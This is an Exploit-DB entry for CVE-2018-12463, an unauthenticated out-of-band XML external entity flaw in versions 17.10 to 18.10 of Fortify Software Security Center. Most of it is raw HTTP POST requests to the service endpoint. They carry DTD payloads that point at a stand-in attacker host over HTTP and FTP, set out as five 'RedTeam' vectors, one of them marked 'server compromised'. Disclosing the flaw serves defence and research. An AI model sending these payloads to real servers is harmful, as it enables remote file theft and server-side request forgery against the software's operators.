Exploit-DB #45027
Description: Fortify Software Security Center (SSC) 17.x/18.1 - XML External Entity Injection
Type: webapps
Platform: java
Date: 2018-07-16
Author: alt3kx

Exploit:
Details
================
Software: Fortify SSC (Software Security Center) 
Version: 17.10, 17.20 & 18.10
Homepage: https://www.microfocus.com
Advisory report: https://github.com/alt3kx/CVE-2018-12463
CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463
CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
CWE-611, CWE-918

Description
================
Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input. 

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Vulnerability
================
XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.

Proof of concept Exploit
==========================

The offending POST method below:

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1765

<?xml version='1.0' encoding='UTF-8'?>
<!Your payload here "http://intuder.IP.here/alex1.dtd"> <-- HERE!!! 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" soapenv:mustUnderstand="1">
      <wsu:Timestamp xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="Timestamp-2">
        <wsu:Created>2018-05-24T14:27:02.619Z</wsu:Created>
        <wsu:Expires>2018-05-24T14:32:02.619Z</wsu:Expires>
      </wsu:Timestamp>
      <wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="UsernameToken-1">
        <wsse:Username>XXXXXXX</wsse:Username>
        <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">XXXXXXXXXXX</wsse:Password>
      </wsse:UsernameToken>
    </wsse:Security>
  </soapenv:Header>
  <soapenv:Body>
    <ns3:GetAuthenticationTokenRequest xmlns:ns3="http://www.fortify.com/schema/fws" xmlns:ns6="xmlns://www.fortify.com/schema/issuemanagement" 
xmlns:ns5="xmlns://www.fortifysoftware.com/schema/activitytemplate" xmlns:ns8="xmlns://www.fortifysoftware.com/schema/seed" 
xmlns:ns7="xmlns://www.fortifysoftware.com/schema/runtime" 
xmlns:ns9="xmlns://www.fortify.com/schema/attachments" 
xmlns:ns2="xmlns://www.fortify.com/schema/audit" 
xmlns:ns4="xmlns://www.fortifysoftware.com/schema/wsTypes" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ns3:TokenType>AnalysisUploadToken</ns3:TokenType>
    </ns3:GetAuthenticationTokenRequest>
  </soapenv:Body>
</soapenv:Envelope>

Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the 
exact API path and data sending to the server.

RedTeam Vector (1): Using “Transitional” payload, connection to HTTP server (intruder). it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1789

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://intruder.ip.here/alex1.dtd">

[../snip]

RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works!

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1750

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "http://intruder.ip.here/alex1.dtd">
<data>&send;</data>

[../snip]


RedTeam Vector (3): FTP payload with ruby FTP server emulator

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (4): FTP payloads with FTP python server

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">

[../snip]


RedTeam Vector (5): FTP payload, server compromised

POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://anonymous:anonymous@intruder.ip.here:2121/alex1.txt">

[../snip]